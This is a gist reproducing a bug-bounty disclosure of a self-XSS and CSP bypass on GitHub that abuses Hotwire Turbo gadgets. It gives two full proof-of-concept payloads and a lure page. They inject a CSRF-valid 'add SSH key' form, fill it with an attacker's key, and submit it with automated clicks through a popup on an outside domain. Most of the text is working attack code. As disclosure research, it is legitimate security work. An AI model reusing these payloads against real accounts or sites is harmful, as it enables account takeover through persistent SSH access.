Skip to content

Instantly share code, notes, and snippets.

@joaxcar
Created April 23, 2024 13:03
Show Gist options
  • Save joaxcar/6e5a0a34127704f4ea9449f6ce3369fc to your computer and use it in GitHub Desktop.
Save joaxcar/6e5a0a34127704f4ea9449f6ce3369fc to your computer and use it in GitHub Desktop.
Github CSP bypass

Hotwire CSP bypass on Github.com

Links

The report on H1

HotWire turbo

Initial report from Sudi

Hey there, My friend @ros876 found a self xss in https://github.com/<username>/<reponame>/settings/tag_protection/new and reached out to me to ease the exploitation process.

Using a Drag and Drop poc , I was able to make the self xss work with a bit ease still it requires user interaction but it demonstrate that it's possible for an attacker to even exploit such self xss in clever ways.

Given a pattern like this <img src=> will render an error like this

<img src=> is not a valid pattern

https://github.githubassets.com/assets/behaviors-d984747343bb.js:1:4000

            n.addEventListener("auto-check-error", async e=>{
       // strip ......
                else {
                    let e = "DL" === r.tagName ? "dd" : "div"
                      , t = document.createElement(e);
                    t.id = a(),
                    t.classList.add("error"),
                    t.innerHTML = o || "Something went wrong", // o variable contains the response which contains the invalid pattern name too

Although there isn't any sanitization, we still weren't able to do anything due to very strict csp Github has enforced. We read the article on Github CSP journey in hope of finding a new bypass :p , but had to say Github took CSP really very seriously.

The CSP even takes care that even if an attacker manages to find a way to extract something they can't excfiltrate that to their controlled server this really restricts what an attacker could do even if he manages to get a full blown xss in Github

Some of the attempts we thought of trying but encouter the csp comes in b/w , auto-fill credentials steal even if we provide a similar looking Github page to make password managers autofill the creds we still won't be able to leak them to our controlled server due to the form-action direction and even via css due to the strict whitelist.

My bypass

Hi team!

I got asked to join in here to try to escalate this issue from a theoretical attack to a real one. I did not get past the CSP to gain full XSS, but I managed to use some script gadgets to send arbitrary POST requests with valid CSRF tokens. This would allow an attacker to perform most actions available in the UI, such as adding an SSH token to the victim's account or inviting the attacker to an organization owned by the victim.

There are three protections in play, as I can see in the UI.

  • The CSP
  • form-specific CSRF tokens (protecting against form hijacking and path traversal)
  • session 'sudo mode'

The attack I found will not be blocked by CSP as it uses already existing JavaScript. It will also bypass the CSRF protection by injecting correct form elements. However, it will not bypass the 'sudo mode' restriction, so to work correctly, the victim's session must already be in this mode.

Using <turbo-frame> and <turbo-stream> elements together with data-replace-with, it's possible to generate a "two click" arbitrary form injection that CSP will not block.

In the attack, <turbo-frame> dynamically loads any form needed (for example, the form to add a new SSH key). Rails will listen for any inserted turbo-frame and fetch the requested form, and this form will contain the correct authorization-token. We then use another temporary form with data-replace-with that will inject a series of <turbo-stream> elements into the DOM after the victim's first click.

Using turbo-streams, the attacker can modify the input fields in the maliciously loaded form. The second click from the victim will then submit the form with attacker-controlled data.

The attacker is in full control of the HTML in the page and can thus make the form buttons cover the whole screen and look like something the user would more likely click.

These gadgets do prove a real impact of the initial bug, even if it comes with some restrictions. There might exist ways to remove some of these requirements (especially one should be able to reduce the "two clicks" to "one-click" given more research):

  • To perform any really sensitive actions as the victim, the victim's session needs to be in "sudo mode"
  • The victim needs to perform the drag-and-drop
  • The victim needs to click anywhere on the page two times

First POC

  1. Make sure the victim session is in "sudo mode"
  2. Use the POC from the initial report, but replace the xss payload with this
<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
<form target="my_iframe" method="POST">
  <button id="hack" class="dark-backdrop position-fixed" type="submit" data-disable-with="<turbo-stream action=replace targets=&quot;#settings-frame > form > dl:nth-child(2)&quot;> <template> <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack /> </template> </turbo-stream><turbo-stream action=replace targets=&quot;#settings-frame > form > dl:nth-child(4)&quot;> <template> <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea> </template> </turbo-stream><turbo-stream action=replace targets=&quot;#settings-frame > form > p&quot;> <template><button class=&quot;dark-backdrop position-fixed&quot; type=submit><div style=&quot;height: 100%; width:100%;&quot; class=&quot;color-bg-default  d-flex flex-column flex-items-center flex-justify-center&quot;><h1>One more time!</h1><img  src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true /></div></button> </template> </turbo-stream><turbo-stream action=replace target=hack> <template></template></turbo-stream>" ><div style="height: 100%; width:100%;" class="color-bg-default  d-flex flex-column flex-items-center flex-justify-center"><h1>Click me again!</h1><img  src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true /></div>
  </button>
</form><iframe hidden name=my_iframe></iframe>

Also, change the https://github.com/GROUP/REPO/settings/tag_protection/new to a repo where you have invited the victim 2. Now visit the page, drag the cat to the home 3. When the page shows the cat again, click anywhere 4. Click anywhere again 5. You should now have a new SSH key on your account

Details

Turbo frame

<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame> will load the "add new SSH key" form into the page, containing a proper CSRF token

data-disable-with

We have to wait for the turbo-frame to load and thus need to wait with adding the turbo-streams to the DOM. This is the reason for the first click. We abuse the data-disable-with attribute that allows us to add arbitrary HTML to the page when a form is submitted.

<form target="my_iframe" method="POST">
  <button id="hack" class="SOME STYILING" type="submit" data-disable-with="HTML CONTENT">Full page button</button>
</form>
<!-- This is a temp iframe that we use to "catch the" form submission -->
<iframe hidden name=my_iframe></iframe>

Turbo streams

After the disable-with form is clicked, we add a series of turbo-streams to the DOM. These will get picked up by Rails and executed one after another. We can use these streams to replace any elements on the page. Using these, we can add any content to the injected SSH form

<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(2)">
   <template>
      <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack />
    </template>
</turbo-stream>
<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(4)">
   <template>
      <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea>
    </template>
</turbo-stream>
<turbo-stream action=replace targets="#settings-frame > form > p">
   <template>
      <button class="dark-backdrop position-fixed" type=submit>
         <div style="height: 100%; width:100%;" class="color-bg-default  d-flex flex-column flex-items-center flex-justify-center">
            <h1>One more time!</h1>
            <img  src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true />
        </div>
      </button>
    </template>
</turbo-stream>
<turbo-stream action=replace target=hack>
   <template></template>
</turbo-stream>

This will update the injected form and generate a new full-screen button to submit the form.

Conclusion

The whole chain is still quite hard to pull off in an attack, but it proves that it is possible, and there might be other chains to build up using the same parts. I have just learned how this tech works.

Also, note that the initial issue is with the auto-check behavior, and it might be used in other places in the UI where an attack is not as restricted.

Hope that this was interesting, and please reach out if you need any clarification!

Best regards Johan

Second POC

Hi again!

I just managed to remove the need for the two extra clicks and could then also remove some boilerplate CSS. There are two more gadgets we can use to achieve this

First, a "navigation helper" that exists in sso.ts (we can survive without this, but it makes things more smooth)

observe('.js-sso-modal-complete', function (el) {
  if (window.opener && window.opener.external.ssoComplete) {
    //.. bunch of stuff ..//
  } else {
    const fallback = el.getAttribute('data-fallback-url')
    if (fallback) window.location.href = fallback
  }
})

and then a "click helper" in github/behaviors/timeline/progressive.ts

hashChange(function () {
  focusOrLoadElement()
})

function focusOrLoadElement(shouldLoadElement = true): void {
  const anchor = urlAnchor()
  if (!anchor) return
  const target = document.getElementById(anchor)
  if (target) {
    focusElement(target)
  } else {
  // stuff
  }
}

async function focusElement(element: HTMLElement): Promise<void> {
  await mediaLoaded()
  expandDetailsIfPresent(element)
  const link = element.querySelector<HTMLElement>(`[href='#${element.id}']`)
  if (link) {
    const oldValue = link.getAttribute('data-turbo')
    link.setAttribute('data-turbo', 'false')
    link.click()
    if (oldValue === null) {
      link.removeAttribute('data-turbo')
    } else {
      link.setAttribute('data-turbo', oldValue)
    }
  }
}

Using these two and a "helper window" we can automate the two clicks. The updated POC page looks like this

<center>
<div id="drag" draggable="true">
<img width="180" height="180" src="https://media.tenor.com/images/8af08a3556c6e66f5ce88539183efd23/tenor.gif" id="nox">
</div>
<img width="180" height="180" src="https://i.imgur.com/JCgAjL2.png" id="home">
<h2 style="color:magenta">Drag the cute cat to his home, then click on Invite</h2>

</center>
<script>

var url = new URL(window.location)
var target = url.searchParams.get("target")

var xss = `<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
<form target="my_iframe" method="POST"><a id=bbb><button href="#bbb" id="hack" type="submit" data-disable-with="<turbo-stream action=replace targets=&quot;#settings-frame > form > dl:nth-child(2)&quot;> <template> <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack /> </template> </turbo-stream><turbo-stream action=replace targets=&quot;#settings-frame > form > dl:nth-child(4)&quot;> <template> <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea> </template> </turbo-stream><turbo-stream action=replace targets=&quot;#settings-frame > form > p&quot;> <template><a id=aaa><button href=&quot;#aaa&quot; type=submit>test</button> </template> </turbo-stream><turbo-stream action=replace target=hack> <template><input class=js-sso-modal-complete data-fallback-url=&quot;#aaa&quot;></button></template></turbo-stream>" >test</button></a></form><iframe hidden name=my_iframe></iframe>`

var x = document.getElementById("drag");
 
x.addEventListener("dragstart", function(ev){
ev.dataTransfer.setData('text/plain', xss);

// Open up a helper window that will force some redirects
var popup = window.open(`https://joaxcar.com/gitlab/poc2.html?target=${target}`,'','width=,height=,resizable=no');

setTimeout(()=>{
		location=(target)
},500)
		});
</script>

The big difference is that I have updated the xss payload, now wrapping the first button with the "click helper"

<a id=bbb><button href="#bbb" ... >test</button></a>

This is also done on the "inner payload"

<a id=aaa><button href="#aaa"></button></a>
<!-- And then the page navigation gadget
<input class=js-sso-modal-complete data-fallback-url="#aaa">

After this there is also a new "helper window"

var popup = window.open(`https://joaxcar.com/gitlab/poc2.html?target=${target}`,'','width=,height=,resizable=no');

That will pop up when starting to drag the cat image. This window is responsible for the first "hash change" after the initial page load and also for redirecting to another page after SSH key is added

setTimeout(()=>{window.opener.location=`${target}#bbb`},3000)
setTimeout(()=>{window.opener.location='https://joaxcar.com/gitlab/poc3.html'},5000)

You can test this whole flow using my POC page here

https://joaxcar.com/gitlab/poc.html?target=https://github.com/GROUP/REPO/settings/tag_protection/new

Replace the "target" in the URL with some Group and Repo your victim can access. I will also post the three pages as attachments. Here is a video of this new flow.

Note that there are no clicks made after dropping the payload in the tag text box.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment